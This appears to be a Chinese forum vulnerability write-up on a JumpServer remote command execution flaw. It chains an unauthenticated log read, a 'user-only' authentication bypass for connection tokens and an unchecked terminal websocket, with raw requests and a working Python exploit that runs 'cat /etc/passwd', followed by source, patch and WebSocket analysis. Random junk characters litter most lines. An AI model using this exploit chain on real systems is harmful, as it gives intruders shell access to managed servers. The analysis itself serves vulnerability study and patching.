8 W1 k" K7 O( H; Z  J4 ^1 T2 K: x5 O$ m& {/ g4 |9 s
图片: `$ x6 j/ B- v& F& p! n+ f  a

* `# o' b9 F& \* ~+ o+ Fgunicorn是常用的WSGI容器之一,用来处理Web框架和Web服务器之间的通信,gunicorn.log是API调用历史记录比较全的日志文件。. j, m, J1 h$ J! s# y& d* U  M/ u

( K# q! K: Q  _- |* V1 t利用/ws/ops/tasks/log/接口查看/opt/jumpserver/logs/gunicorn.log文件内容,由于系统会自动添加.log后缀,故无须添加文件后缀,目标路径为 "/opt/jumpserver/logs/gunicorn" 即可。4 n8 Z( i4 J( L( J: e

9 V" C- f$ g: e- @+ M0 H+ f# `; L/ I8 vws://192.168.18.182:8080/ws/ops/tasks/log/
' d  v1 n2 B3 Z% `6 n{"task":"/opt/jumpserver/logs/gunicorn"}: r0 v; g0 \: n. [" g) c
图片) y0 y! u4 [$ ~! Y2 {  y7 Y5 _+ R
% d+ b7 U  Z5 ?! A- l5 ?5 `3 Q
在日志中寻找有用数据,其中/api/v1/perms/asset-permissions/user/validate接口的请求记录值得注意,这个API是用来验证用户的资产控制权限的。由于web终端连接资产时会对用户所属资产权限进行校验,调用了这个接口,故会留下日志记录。其中asset_id、system_user_id、user_id参数值可以被利用。8 n; p! R  u( d& O# P
/ D) Z' ^( }# a' w8 C  J5 _  S' Z, `
asset_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f! r  z) E7 n9 n  `7 ]
system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
) B7 }" }! D0 P9 M0 ~  J! guser_id=f26371c9-18c3-4c4e-979f-95d34ffdb911
& T* [! X1 K# T& j+ c% K认证绕过+获取token
+ _9 O, [% x. L: ~5 x# T/api/v1/authentication/connection-token/接口和/api/v1/users/connection-token/接口均可通过user-only参数绕过权限认证。0 y' u8 F+ y: m9 n) H8 r
$ l* G2 y7 @5 O4 w7 t4 _3 K
两接口对数据的处理逻辑一致,其中post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,收到合法请求会将这个token返回。
, Y, C! W. t0 g5 H/ J. ~5 q4 I. o2 x: w
图片
( v4 O# s: V: J& \' [
, X$ @& B; h- d' I- N- S+ b+ S上文从日志中获取到的三个参数值可以用在这里,分别赋值给post请求要求的data中的"user"、"asset"、"system_user"参数,同时在URL中添加user-only参数来绕过认证,最终获得一个20s有效期的token。
+ c* K2 E1 d' O% p6 i% g1 B
: i' `% v5 X8 N1 O* k, t1 z: {$ SPOST /api/v1/authentication/connection-token/?user-only=Veraxy HTTP/1.1* O7 _' l# U8 k8 j# C( F/ P2 ]
Host: 192.168.18.182:8080
% ]6 I' C: c. B" U9 x: ^6 JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0# l  ]5 u- W3 b' ^" `3 d5 O4 Z
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
9 T. ^8 B4 @" |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2# R1 n$ Y+ j! N7 r0 O8 _' _
Accept-Encoding: gzip, deflate
, o1 W) P) U- T& \% XConnection: close/ I( T1 ]/ G( Z; ^( o0 l2 K% S4 L
Cookie: csrftoken=GsRQYej2Fr3uk3xU9OPfZREl8Wn7xCXPqLSWQGIILIk7uz7izdqojUgYQ5UhG04j; jms_current_role=146; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D& _$ R) Q% J8 n# D6 d
Upgrade-Insecure-Requests: 1
% ^/ N5 F. a2 Q# d6 w/ a5 {  P$ tContent-Type: application/x-www-form-urlencoded
# d) g9 ~" m$ U3 S7 s: {3 mContent-Length: 133
! p, X: C( s7 v: K5 K# k' i, Ruser=f26371c9-18c3-4c4e-979f-95d34ffdb911&asset=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&system_user=a893cb8f-26f7-41a8-a983-1de24e7c3d73' H" z/ C9 U% V/ y: x
图片
* n7 N) L" }3 O0 A4 n7 d8 L0 s, T; x0 N) e& A( G, c
上图请求接口替换成/api/v1/users/connection-token/达到的目的一样4 U# u& U1 _/ r; g# p+ b# D) [

6 J/ g0 \- q- F图片6 V& K: h  R/ z( T$ u3 l# S8 o# y4 j
, Z% Q; L, I' D" z9 U
远程命令执行
& n5 h1 Z9 Y# f7 M2 G. J! o" d6 m系统/koko/ws/token/接口要求"target_id"参数,携带合法"target_id"参数即可利用该接口建立TTY通信。
3 \) a+ o# t6 E9 {# ?# I' R6 [  b" B' K. ?3 _
图片
- K9 c7 @% H  n" c# Z7 W# b3 O- A
( F" S' f4 d) U上文通过/api/v1/authentication/connection-token/接口获得的20s有效期的token可作为/koko/ws/token/接口的有效"target_id"参数值,从而建立websocket会话。2 `2 N3 t5 Z) k' S$ ~4 {
  @$ n. f6 i: q$ H& V1 c2 W, \% t
ws://192.168.18.182:8080/koko/ws/token/?target_id=0a14ec3d-312f-44e0-8224-da1a4151f32e
3 k5 _( z- G7 V* B( x- ?5 z图片% |; ]# F, a" o

( Q' g' [, O% y  c) W. B借助脚本进行websocket通信
. k- @7 i6 w# Y. l" A0 ~
* e, V$ w8 l* c: a2 Rimport asyncio
- a7 |. c1 s) n8 r: ~import websockets6 Q8 a2 E* J$ h' |+ d
import requests" O, K  Q6 [; i
import json
+ M. Z" a. j! B9 Y- Hurl = "/api/v1/authentication/connection-token/?user-only=None"4 X! i: O% l0 n1 L3 l+ c
# 向服务器端发送认证后的消息
$ G# G2 B- Y1 R/ N! y+ d2 yasync def send_msg(websocket,_text):
  f9 D$ [1 Y. F3 A9 q    if _text == "exit":8 a4 P9 N1 p$ S, _- y, b
        print(f'you have enter "exit", goodbye')( t  O! y8 O# M5 q' A6 G1 l" t4 L
        await websocket.close(reason="user exit")
7 N( Z2 |- Z$ e$ _        return False
: ~1 I% g: d; a$ e* j+ w    await websocket.send(_text)
4 u+ F4 Q, {' e, U    recv_text = await websocket.recv()* Q; K/ ]! q& i1 f, D( j. R
    print(f"{recv_text}")
/ W) h7 H3 d9 h* e3 ^# 客户端主逻辑# r8 e" M7 N/ W
async def main_logic(cmd):% G, _* W9 H5 q0 h4 Q, {0 F4 D
    print("###start ws")
7 p$ L! B/ r  I) D, i1 c) }1 b9 ?    async with websockets.connect(target) as websocket:2 ~3 `! o  u* J4 l9 E
        recv_text = await websocket.recv()
% ]) X5 |$ n6 Y        print(f"{recv_text}"); V8 S- t4 o3 t+ V  {) H0 _
        resws=json.loads(recv_text)- U  K7 S, ]# G9 n: W1 L+ S2 P
        id = resws['id']0 t1 B+ p$ d6 j3 E
        print("get ws id:"+id)" X$ O7 r+ h, a8 @" s
        print("#######1########")
# ^. _& h3 G. j7 {# E" `6 L+ Q        print("init ws")
5 j: g9 P6 ~3 {' P5 T2 ^% s; |& g        print("#######2########")
# g2 `4 }6 |/ m9 ^% B: W4 r! w        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":234,\"rows\":13 }"})' {) i2 h2 y- {5 k( y
        await send_msg(websocket,inittext)  V6 y# C. B5 P' w
        print("########3#######")0 v2 P5 I8 o  F# \/ u4 [7 r7 @
        print("exec cmd: ls")
. r; s0 U% Y* \+ T        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
& T% W; D; r/ p        print(cmdtext)
4 M5 P* L' p9 o9 j$ |# d        await send_msg(websocket, cmdtext)
6 V1 m7 Y" d( E, h% r        for i in range(20):' t5 _, B: }& I6 ]. A) c, z
            recv_text = await websocket.recv(). C& x1 o% Q, w
            print(f"{recv_text}")3 o9 H: \8 K; D3 d- `; k
        print('###finish')/ g5 D- L# {( W7 S  A- |6 u
if __name__ == '__main__':% a0 C+ \, k( w7 e. d& S
    host = "http://192.168.18.182:8080"
% U7 l' J9 k1 F    cmd="cat /etc/passwd"
, U4 w1 W3 A1 t/ [4 R& k    if host[-1]=='/':
$ u- z0 k, `& m9 c& {: ?7 w" d4 Y        host=host[:-1]
; L- s# u8 M6 a8 |( D/ i, w: K" _    print(host)
2 y3 q9 {- L# u+ N+ Y6 d    data = {"user": "f26371c9-18c3-4c4e-979f-95d34ffdb911", "asset": "fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f",% j# ]" N2 u. M* Y; {8 `
            "system_user": "a893cb8f-26f7-41a8-a983-1de24e7c3d73"}
6 J, T+ D& |; x( y' _+ s8 d# ^. h% `    print("##################")
- ~. q9 f8 E7 r# W    print("get token url:%s" % (host + url,))
& {  p' e0 ~" c% D0 C) ]6 y" O    print("##################")0 M9 M3 b3 J' i$ G) U
    res = requests.post(host + url, json=data)3 @+ i# j" w+ w0 I# \$ @
    token = res.json()["token"]
6 b0 g) I1 d2 r( f: L. f& F: {* W$ U: {    print("token:%s", (token,))
) O4 s1 v6 m) T/ c4 S* Y    print("##################")# F" N2 M9 N+ Y( Z+ _/ b5 A
    target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token+ ?6 |. ~6 R, e( Y/ B* O$ K: @
    print("target ws:%s" % (target,))1 b( Z; S: J9 x
    asyncio.get_event_loop().run_until_complete(main_logic(cmd)
; K7 N3 f% [# k' \6 Q% q成功执行 "cat /etc/passwd" 命令2 F4 U5 H' Y2 }" g% y6 p1 G
+ Z" \% v9 V* X
图片
7 h1 v2 ~& L9 `& @' ]; i5 |. w5 x- T" f
利用条件' h' v! @  y6 P+ b/ j1 w' e9 ]
1.web终端登录方式为免密自动连接。
4 ~9 T8 V& ~* R
0 X2 g/ o; k6 O( r0 [0 X+ s若配置为需要输入密码的手动登录,只有在攻击者已知目标资产登录密码(不现实),或此时系统用户与目标资产的会话连接未中断,从而让攻击者有机会复用SSH会话,漏洞利用成功,显然这种配置下漏洞利用大多失败。
% ?) A0 }$ v) J* y& `5 d2 g. i# R, L
图片
8 O) D$ P1 m9 @+ v
7 |% p1 o; R7 S0 ~当系统用户退出登录,由于没有可复用会话了,系统要求重新输入密码,否则无法建立连接。漏洞利用失败。
% u* l/ {# ]3 z0 \0 |7 n& \, n1 W" I* ^( F, T) P* N4 {
图片9 }/ F+ p4 J# P) F2 g6 l! y
5 i% U5 Q* y# |6 x% V4 K: B- d
只有在系统用户登录模式配置为“自动登录”,即系统用户使用web终端操作时资产无须输入密码
' S: d) x; l& c5 I5 Y+ s' D6 x
! D) y+ l1 F4 b8 Z8 P,可直接建立连接(某些情况下需要“自动推送”系统用户至资产才能实现免密连接),这种配置下,该漏洞才可被攻击者稳定利用。
5 w# S; G9 V+ l7 l
8 O) o6 i- t8 o) Z/ A' {开启自动登录和自动推送。
# d1 P: t" x0 Y# I
# B# @6 ~- R* P8 ]- M, Q- P如果选择了自动推送, Jumpserver 会使用 Ansible 自动推送系统用户到资产中。1 L2 I& B) H: z9 \' m* y& K
9 G  Y1 U) y0 N* Q# v) D
图片6 R6 x% j* J) s& M6 [
; \, v6 q1 u# _( ?5 [# ]: @
此时连接web终端不需要输入密码了,直接利用系统用户预存的密码建立连接。, \( N2 l. O6 h2 Z$ K& v( M+ @

7 i* ]) O! x* F3 l图片! @% J7 \1 Y; ~

4 A3 g1 {$ s) L8 j5 s, \这时我中断会话,再次测试,成功执行命令,此时不是复用SSH连接,而是直接连接,建立会话,从而执行命令。
9 q) U5 A6 o$ K: b% t9 |$ J  S+ _7 _6 q2 W% S8 R
图片
) c7 ~& \" g' q1 p$ q4 ~, V
  m1 v0 ~' d' B) b/ M0 sjumpserver通常的配置都是自动登录的,这一条件容易满足。
7 l, o* R  q! S0 F, M' R. P  h
0 n( I! Z6 h. s0 U3 D: y, d2.系统用户在web终端与目标资产建立过连接。
  m( K3 @3 R. o- p/ h" l  X; @' o3 ^/ e! n+ f5 ^* Z5 `- x
只有系统用户在web终端访问过目标资产,才能在日志中留下访问记录,我们与目标建立连接的必要参数均在日志中获取。, k9 O  r  c" {0 c& T7 x. N

3 W( V/ n7 s& S, |6 S4 S+ O/ p3.系统日志路径已知6 T) t1 r; K4 S0 P; B8 X$ C( ^

& e; f  L+ A' G, J. h系统日志路径默认为/opt/jumpserver/logs,一些项目刻意修改日志路径会使得漏洞难以利用。; z0 ]3 A9 w& s2 ^& _
* ^4 D5 t5 u8 O/ P4 J8 N
攻击流程回顾+ _/ P; A4 b: _
1.未授权的情况下通过 /ws/ops/tasks/log/ 接口建立websocket连接,读取日志文件$ }0 Y) d/ L& r! Y) }
- J# w$ E0 q( }+ N) x. B
2.在日志文件中获取到用户、资产字段值、系统用户(user_id、asset_id、system_user_id)& }0 a& ~1 B  J- k

( Q7 _+ U# y+ y( c5 D3.携带这三个字段对 /api/v1/authentication/connection-token/ 或/api/v1/users/connection-token/接口发起POST请求(同时借助user-only参数绕过认证),得到一个20S有效期的token2 v; m) S' ]# X3 |; K
  c! [* o/ F1 C+ p8 Y6 P/ s
4.通过该token与/koko/ws/token/接口建立websocket连接,模拟Web终端通信,执行命令。
; z. r4 F2 I7 Q+ R1 `" z' V' t/ u# f' a1 ?( j# x9 E
图片; y# Q& n( P; \3 O

8 `1 u* U, p( c& }8 Y0x03漏洞分析
% D/ U- B" P+ {. A+ l& K* w/ i日志文件读取9 q& E& |- T3 z: R& o5 Q' \
读取日志文件的接口为ws/ops/tasks/log/% y4 K( \/ h% G9 z* k

! w3 i0 c. g; B; J* c8 A图片0 i- m. A, I% o

" d$ E8 `+ e" O. b' z分析apps/ops/ws.py#CeleryLogWebsocket,connect()方法定义该接口直接连接,无认证
/ o$ Q1 h- z4 F
, B5 T  y1 ]' ]# b* i图片
) m+ R5 K, a; p5 t9 n3 w/ ^, L% p
# K: @9 L' ^' ]. [receive()方法要求请求data要携带task参数,随后会将“task”值传给handle_task()
7 z2 p6 Q6 B. B/ ]" W$ y5 J3 F% W1 _6 J! L# e
图片9 h5 x" u2 A8 t' L. D  l5 t
: H  \0 v/ C  S4 T4 u+ |6 C6 @
self.handle_task(task_id)
  Z* M/ D& F4 V7 g5 y1 G3 _' n4 ]* r
-->self.read_log_file(self,task_id)( k& Y) m/ s9 X( p8 H

5 M. M6 I/ P7 q# s-->self.wait_util_log_path_exist(task_id)
  u# W: M* o8 r3 R: T3 G  h, q$ {, N( y- I3 Q
--> get_celery_task_log_path(task_id),获取目标文件路径的方法,系统自动为路径末尾添加.log后缀,也就是只能读取到日志文件。7 }' U3 b6 ^) f. y! D, O( |- @

' V- T3 U# ?2 x这里也是“task”参数值中的文件路径无须携带.log后缀的原因。
' v8 q( d8 G* w+ i. F1 n* V/ f& a& z6 q- u0 s
图片3 Y- r. w# P+ d6 O( z! k( E1 k
, n, @" _7 `- f* b$ F' B! B
当系统连接资产时,会调用 validatePermission() 方法检查用户是否有权限连接,通过三个参数进行校验,分别为用户ID、资产ID、系统用户ID,三个参数值长期有效,可被进一步利用。4 M3 g- _" Q' A1 c) Y5 U* C. j4 h) w

! q% U6 c$ M/ E% J3 ^) [" ^5 Y图片, G8 q5 [3 T! u% {( a6 ~2 Z
* |' s2 a5 H; B' ~9 ~; G# e$ P
图片
) R& p3 I/ N+ u! M: P( q3 h& {9 r1 ^/ C( x& G
对应的接口是/api/v1/perms/asset-permissions/user/validate,请求记录均可在日志文件中找到
  P3 n# e, y5 \7 r% p! Q4 v" v; R
图片8 H% o! w& b- U! S6 L; F

: u  y3 b! @6 ~7 F/ x3 @# P绕过身份验证获取token! c4 v- N$ t" i6 c& c$ x0 y) a$ k
apps/authentication/api/auth.py,请求url中存在'user-only'参数且有值,则其权限为AllowAny,即允许访问。
& {" Q! D3 y% B9 b
: q/ }9 F: n7 O- |6 B图片
* t! e/ o8 ^  O
# z$ I! U# B2 W/ k5 n9 T2 i7 G分析apps/authentication/api/auth.py#UserConnectionTokenApi类,可处理get、post请求。
+ f0 @+ k* f! E6 I' X/ C- ^2 Q+ G. A
get请求处理函数取URL中"token"和"user-only"参数,合法请求会根据token返回user信息。
  V$ S! o# q* p# p* _4 G" }# Y& B! P5 q6 P$ D8 K8 W
图片
( n8 \# L$ a7 B* |9 m) V# Z. _* X3 z" I" V5 p2 I( l
post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,合法请求会将这个token返回。, e: U/ O" D# F, \

6 p8 L, c2 p1 R1 |图片: ~* w/ v% J  Z: r: S. X& H

: b$ I, b7 h) l# b( c0 Aapps/authentication/api/auth.py#UserConnectionTokenApi类有哪些地方使用,共两处
5 ?( u' n3 A( j2 a1 f
3 R0 x# U( ^" o& J图片
+ L7 q6 U( l- {3 Q% C8 i/ e& v  N, N$ i. V+ L4 F
刚好是官方公布的接口,这两个接口数据处理逻辑一致,所以利用的时候两者均可得到token。& k. d' X7 [* Y* P
! i2 F/ ]2 Y( _0 F- Z+ @
/api/v1/authentication/connection-token/
6 V! A# j) Q# L7 j1 b5 j. h/api/v1/users/connection-token/
& v& t3 F  q9 r  jWeb Terminal 前端项目 luna/src/app/services/http.ts 中有对/api/v1/users/connection-token/接口的Get请求代码,这里携带不为空的user-only参数,是为了获取token对应的用户身份所有信息而不是单个字段。 https://github.com/jumpserver/lu ... pp/services/http.ts
! [2 h9 Y6 l; a, K5 @* p" ~* S4 z
) p! Y; J% O  c3 v7 `  N图片
4 F- G- e7 @0 S' L) H* u
+ C7 G( [/ l, l$ w% U: Z7 F+ a- o2 ~websocket建立TTY终端会话  P1 Y  d! C, U* }
这个漏洞是通过websocket通信建立TTY终端,从而执行命令。
* M4 g" R! g1 p8 _. K! N! S7 L  E: p: w
JumpServer中KoKo项目提供 Web Terminal 服务,分析系统中可建立TTY会话的几种方式。
/ l  {; g$ q4 g1 p
% ?% s+ r0 t+ Q2 x3 i* R  K. Ohttps://github.com/jumpserver/koko
2 [( A5 E' R, T3 f" a  D
) [) P4 d' P7 W" b) B建立TTY会话主要通过koko/pkg/httpd/webserver.go中runTTY() 实现& z8 H; S- X5 N& \# ^! F

0 i( E. M6 U$ D) T& q$ Q图片
4 x; ]$ y9 R, g
0 c( y3 Q4 ?8 K" o* f" c! _只有两个接口可以进入runTTY()方法,分别是processTerminalWebsocket和processTokenWebsocket方法
7 |3 K9 J. h8 Y5 D+ B$ E+ N2 S; [* v) n
图片
( f, _3 V! u4 a$ \/ O- u
; F1 J: p/ J# _7 q! X+ l6 f9 t对应API为/koko/ws/terminal/ 和 /koko/ws/token/ ,接口handler位于koko/pkg/httpd/webserver.go#websocketHandlers()
  a; R. A$ I9 g2 R$ H, i( v: o  ^. \/ U, ?" d# g6 M
图片& d! X/ z4 T4 w8 d

3 k) T  i( y2 k2 z+ p* t/koko/ws/terminal/  ^5 X! m4 n4 ^  D' ^6 ?# n
系统中通过“会话管理”下“web终端”功能连接资产时,使用的是 /koko/ws/terminal/ 接口
3 g' {. u( F' {( n* g- q8 T3 T+ v% H6 S
图片" e( ]' j8 X* ^8 M/ J5 i) Y& ^8 X
- ^9 f, c6 M* [: ?7 f2 z+ c- b
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
' Y& ~+ N' w$ h' \进行websocket通信
9 _3 R( i0 P/ J0 e$ H! T3 B2 U5 e' b& V# _: @( N3 ^1 b- e
图片
! X) B. u, {9 y3 {# |+ E: |4 C3 i5 V/ t) ?5 ^
processTerminalWebsocket函数处理 /koko/ws/terminal/ 接口,要通过这个接口成功登录控制台需要一些必备参数,包括type、target_id、system_user_id,其中target_id为目标资产ID,system_user_id表示系统用户id。
4 E4 x+ u2 O5 i, _3 T. C! X+ T$ E, U
: U0 R3 N- L: ]注意:/koko/ws/terminal/ 接口的target_id与/koko/ws/token/ 接口的target_id虽然参数名一样,但却是两个完全不同的东西。4 B2 S  [; S  w# Q$ s$ B; U

) ?. ~+ d# W& w- V- Y; Y图片
1 }- r: ]$ G6 j, t! U7 Y% P5 n; N
系统对 /koko/ws/terminal/ 接口通过?middleSessionAuth() 进行会话合法校验。
% w, }2 b, g, t" F2 e* i: `7 N* z1 `
注意到 /koko/ws/token/ 接口却是无此类限制的。
/ `# Q8 J+ F2 B3 L) o+ M1 C
! j/ r, p. k# n: T9 H; F+ A$ D0 u# K图片
/ K/ l- D8 d0 k% u: `; f( |9 M  q/ R" B& r$ _
/koko/ws/token/
7 A% j- m) _, b8 w7 _1 z/koko/ws/token/ 接口的处理函数位于koko/pkg/httpd/webserver.go#processTokenWebsocket,要求get请求携带“target_id”参数,系统会将该参数传递给 service.GetTokenAsset() 方法,获取token对应的user,从而建立TTY会话。8 b. }% v8 F1 [- o# a

7 O# M) I8 a* q  [$ t图片
( |- [) s9 W" l2 ?2 v" \. S2 A1 Q  g
3 F8 \4 m* k6 d; _' v: T" Y* i! V. H8 X$ ]发现 GetTokenAsset() 是将“/api/v1/authentication/connection-token/?token=”与token值进行拼接,并发起Get请求,来获取用户身份的。
% K) @  p% `+ W/ X
3 `# `) D; L( V1 k# p1 ]: ]图片7 ?7 s7 ~# I" R% {$ o; u
9 o3 ^2 T' |- f; M
图片
6 r' V: V! W( ^& Y' Z$ w
% T2 U* a# b, m9 F! B7 f上文分析过 /api/v1/authentication/connection-token/ 接口,Get请求处理函数中定义,若仅携带有效token,则返回该用户所有信息,若同时携带token和不为None的user-only,则返回用户信息中的'user'字段值。
) p" A  D  R' U* j7 O0 ^& H: g  Y" y5 K8 Q5 b  Y
图片2 J, O8 d% T; M% y# |' _/ v2 \, ~
; R, v2 `$ n. O
本次通信则是仅携带有效token,从而获取该用户所有身份信息。0 {  ]6 Q4 t7 s* ^" x4 ~2 K
/ q/ a# n; P" {& n5 Y
图片
+ k8 P' @0 p0 C- o2 r; t# O' A" N% |' E$ \3 o5 i
综上,一个有效的“target_id”即可调用/koko/ws/token/ 接口进行websoket通信,从而建立TTY会话。& Q) @8 k/ j: l  O) W
# ]9 `% `6 p, O& f0 b
ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d
9 s! o. A, J8 F2 `- ~' t( V- j$ M1 K6 ]{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"CONNECT","data":""}
' |3 b$ l) n; m' T" @{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"TERMINAL_INIT","data":"{\"cols\":140,\"rows\":6}"}; g' N! y2 l: n0 }1 C+ }
图片
/ k5 O9 d8 u+ X5 E
# ^& C# R+ w  o+ j) ~( b而这个有效的“target_id”则通过上一章节“身份验证绕过”中分析的 /api/v1/authentication/connection-token/ 或 /api/v1/users/connection-token/接口来获得,需要在20s有效期内将token替换为target_id参数值来使用。
. e- f3 b! a, i- h, \+ Z, ]2 s8 u" g$ `
补丁分析# Q5 V! Z, \* B+ w  c
漏洞整体分析下来,最关键的几个点,身份验证绕过以及websocket通信接口无校验,官方发布的新版本对其进行修复。
( q$ l+ a) m& |. x0 h
8 T* w$ o; J8 [4 Y# Jhttps://github.com/jumpserver/ju ... d1ccf19d683ed3af71e0 B: R9 C: b3 B7 l

( N: F+ A& C) w1 I3 T2 ^图片& g# }0 n, I" J1 _1 h. w
* p+ c3 z9 f2 x* {
0x04关于websocket
# u  @, O. U9 X% EWebSocket 协议诞生于 2008 年,在 2011 年成为国际标准,WebSocket 同样是 HTML 5 规范的组成部分之一。& L8 h) j' C0 O+ J" Y4 D" j
$ s6 f$ D& F( a2 [; M
HTTP 协议是半双工协议,也就是说在同一时间点只能处理一个方向的数据传输,通信只能由客户端发起,属于单向传输,一般通过 Cookie 使客户端保持某种状态,以便服务器可以识别客户端。
3 l' C% @( h( p9 h: e
7 X; d( C) E1 D+ _* s+ o2 JWebSocket的出现,使得浏览器和服务器之间可以建立无限制的全双工通信。WebSocket 协议是全双工的,客户端会先发起请求建立连接,若服务器接受了此请求,则将建立双向通信,然后服务器和客户端就可以进行信息交互了,直到客户端或服务器发送消息将其关闭为止。& t; |3 }: M; u3 u2 U/ ^
% j! Q& B4 K- g8 s. t1 I
WebSocket特点:- s1 Z& [+ ^* c' d& {6 |

: G6 t! K  i5 ]0 ~9 ?1.默认端口是80和443,并且握手阶段采用 HTTP 协议,因此握手时不容易屏蔽,能通过各种 HTTP 代理服务器。* c- C1 h$ X  ?$ I5 i6 _

# O' T2 Z2 Q# z7 o" [' x! N2.可以发送文本,也可以发送二进制数据。
" k* s% B! w% T% z# v6 i9 p+ Z" Q  X& s
3.没有同源限制,客户端可以与任意服务器通信。$ H1 A8 Y; I$ [' E* U

8 z3 A  r& ?. B1 Z- H8 T6 U' h4.协议标识符是ws(如果加密,则为wss)8 H& _3 G4 ~; L  M+ l8 b

+ U) H0 Q7 a* u) L5 x9 b- v. B- p; UWebSocket通信
9 f9 X. C; T! q; J' w9 y# R* QWebSocket并不是全新的协议,而是利用了HTTP协议来建立连接。
1 W/ R- h/ _# i, ~# M4 o( `/ `% A2 _8 Y, @: c
图片" ^$ p0 Z' A6 d0 T  X4 h* e
# F, v( ?) h+ j0 T  g4 F
建立连接$ R5 _% ?+ |5 K; u0 V
客户端请求报文:/ J: Q/ Q1 \8 g& @$ p, _" H

+ d# \, I+ [5 _GET / HTTP/1.1
% x) w, v. e5 n0 wUpgrade: websocket* y0 `1 H* @- g+ u* G
Connection: Upgrade. n# Y6 B7 }8 g1 P1 c
Host: example.com3 ]& l+ I( v7 {9 v9 H3 i
Origin: http://example.com9 Z8 L+ {# Y$ _: n' b
Sec-WebSocket-Key: sN9cRrP/n9NdMgdcy2VJFQ==
2 F" |: d' C! i* b% ?& MSec-WebSocket-Version: 13
2 d3 o4 Y4 e3 j6 P2 a8 bConnection、Upgrade字段声明需要切换协议为websocket
( E/ w3 n) A# o  _8 RSec-WebSocket-Key是由浏览器随机生成的,提供基本的防护,防止恶意或者无意的连接。' b3 y- v" X- V, O, Y/ _
Sec-WebSocket-Version表示 WebSocket 的版本,如果服务端不支持该版本,需要返回一个Sec-WebSocket-Versionheader,里面包含服务端支持的版本号。3 R. S& A. }* _1 w3 K; _

; f5 _' c$ u6 [服务端的响应报文:2 u( B7 ?" p/ T+ v3 a: s
) V3 M7 w3 B* Y  m3 y; }' ]+ b- |
HTTP/1.1 101 Switching Protocols7 D, z" t& c7 w- T8 t! Y
Upgrade: websocket
, |9 z2 W2 M4 V& n4 e* F6 ?9 l" wConnection: Upgrade# z& ^/ i0 H$ x/ K
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
0 r; ^! P& E9 PSec-WebSocket-Protocol: chat
4 }1 }, C) E) z; u/ a; RUpgrade消息头通知客户端确认切换协议来完成这个请求;
: j! u: i+ O5 \& k9 u% J' ^$ }! P9 y/ r4 J# e" N2 k: R! {7 D
Sec-WebSocket-Accept是经过服务器确认,并且加密过后的Sec-WebSocket-Key;, u+ t; i1 N( G5 P
) t% t0 u% H2 R" G: j; x4 N
Sec-WebSocket-Protocol则是表示最终使用的协议。
7 v1 m; Y  X6 ?+ Z* G% B) {  ]% Z7 a+ p6 i$ Z  e$ ]3 H
注意:Sec-WebSocket-Key/Sec-WebSocket-Accept的换算,其实并没有实际性的安全保障。9 J% }% p2 X  }! l3 l7 m! w+ Q
/ N& N$ [, k! y& T2 v) J
进行通信
2 j% s" S3 B( L# g, D$ [服务端接收到客户端发来的Websocket报文需要进行解析。: m, M: R/ i) M2 D
  [4 n- L1 |& d; j) f2 d, E
数据包格式% L9 a2 d$ a( I- M' G4 Y
# \* }! E  w* L2 w
图片
' v! o& c: w" p# t/ S) z& v
& `  q% Z3 f9 y# G" ^Mask位表示是否要对数据载荷进行掩码异或操作。3 T& a' g: |8 T) ^; S
) ^2 Q1 A, h: Q$ V8 M, V
Payload length表示数据载荷的长度。6 u, Y5 r0 |- C! w) W

- {" y% r( e' }6 g' c% yMasking-key数据掩码,为防止早期版本的协议中存在的代理缓存污染攻击等问题而存在。, i7 `: k: s1 A  C5 Z

$ V4 A6 B# {. A4 N8 _Payload Data为载荷数据。
' v) K! c. O5 [) F7 g* F0 s) R! A) \! o( _2 r0 W/ _
服务端返回数据时不携带掩码,所以 Mask 位为 0,再按载荷数据的大小写入长度,最后写入载荷数据。
. V3 F* @+ V0 K0 l9 U4 I
) Y$ S- h5 v& Z+ n! C6 i2 V1 `心跳; }9 v* B* ]. J! p2 Z5 Q
WebSocket为了保持客户端、服务端的实时双向通信,需要确保客户端、服务端之间的TCP通道没有断开。对于长时间没有数据往来的通道,但仍需要保持连接,可采用心跳来实现。
) G; [2 l( E* C3 A( Y4 i) k% h; u+ G8 x1 j; i- O! g
发送方->接收方:ping5 |/ p7 e: I- |+ `/ I

& z) ~+ @' A/ V9 w3 Z! D接收方->发送方:pong- E3 t  H0 O5 p8 v; W) R
& Q3 c* A$ f1 T5 S8 J
ping、pong的操作,对应的是WebSocket的两个控制帧,opcode分别是0x9、0xA。
- R6 d" Y# y" B4 O
7 ]' d% `2 r9 _7 l: r  b4 \关闭连接
$ g$ U4 G! p. t0 @. B* G% H. k- }关闭连接标志着服务器和客户端之间的通信结束,标记通信结束后,服务器和客户端之间无法进一步传输消息。
8 F, g" u0 U7 ~' `
3 X! P; u3 ^% [+ rWeb Terminal实现
4 A* s/ `( v! Y3 `; @/ P通常所说的Terminal是指的终端模拟器,一般情况下终端模拟器是不会直接与shell通讯的,而是通过pty(Pseudoterminal,伪终端)来实现,pty 是一对 master-slave 设备。! Q8 x9 O. a, {
4 a1 ]+ W, k4 X# P
终端模拟器通过文件读写流与 pyt master通讯,pty master再将字符输入传送给pty slave,pty slave进一步传递给bash执行。+ z/ m% h9 K( s8 S, A
